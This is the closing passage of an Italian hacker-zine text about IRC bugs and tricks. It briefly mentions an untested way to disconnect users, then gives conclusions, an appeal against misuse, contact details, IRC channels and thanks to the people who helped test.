| disconnettere dal server!:) Questo  terzo  caso  e` l`unico  che non ho  |
| sperimentato, e quindi sto spiegando solo teoricamente e non posso dire  |
| altro.                                                                   |
|                                                                          |
|                                                                          |
|                        .: Conclusioni :.                                 |
|                                                                          |
| Come  avete  potuto  vedere  il  mondo di irc e` molto vasto e credo ci  |
| sarebbero ancora tante altre cose da scoprire. Ho  cercato  di spiegare  |
| in questo testo  tutto  quello  che  ho scoperto e sperimentato in irc,  |
| spero che vi sia piaciuto, che vi abbia interessato e che vi  sia stato  |
| di aiuto. Come sempre vi chiedo di non utilizzare queste  cose per fini  |
| de-produttivi,e quindi di non fare i lamer, l'informazione preferirebbe  |
| non essere libera piuttosto di trovarsi nelle mani  di  chi la  sfrutta  |
| nel verso sbagliato.                                                     |
|                                                                          |
| Per domande, perplessita`, errori  riscontrati  nel testo  o  qualunque  |
| altra cosa scrivetemi a:                                                 |
|      xp_terminator@katamail.com                                          |
|                                                                          |
| oppure joinate uno di questi canali:                                     |
|      #hack #hackmaniaci #uiha #ondaquadra                                |
|      di irc.azzurra.org                                                  |
| oppure                                                                   |
|      #hacking                                                            |
|      di irc.discussioni.org.                                             |
| oppure                                                                   |
|      #mojodo                                                             |
|      di irc.tin.it                                                       |
|                                                                          |
| Ciao a tutti!                                                            |
|                                                                          |
|                    .: RiNgRaZiAmEnTi :.                                  |
|                                                                          |
| Ultimi, ma non per importanza, i ringraziamenti:                         |
|                                                                          |
|  [Delilah] , Votan : per avermi aiutato nel testing dei vari             |
|                      bug,  perche`  gli voglio  un  mondo di             |
|                      bene ;) e perche`  sono  la coppia piu`             |
|                      bella del mondo :PP                                 |
|                                                                          |
|  JEYoNE , MightyInquisitor ,                                             |
|  BiGAlex , _KoMe_ , [D3FU] ,                                             |
|  albe :              per avermi aiutato  (anche se alcuni di             |
|                      loro inconscientemente ;)) nel  testing             |
|                      dei bug                                             |
|                                                                          |
|  Tritemius , Tdi110CV : per essersi da subito  interessati e             |
|                         per avermi appoggiato                            |
|                                                                          |
|  Tutti quelli che mi conoscono o che mi son dimenticato di ringraziare!  |
|                                                                          |
+--------------------------------------------------------------------------+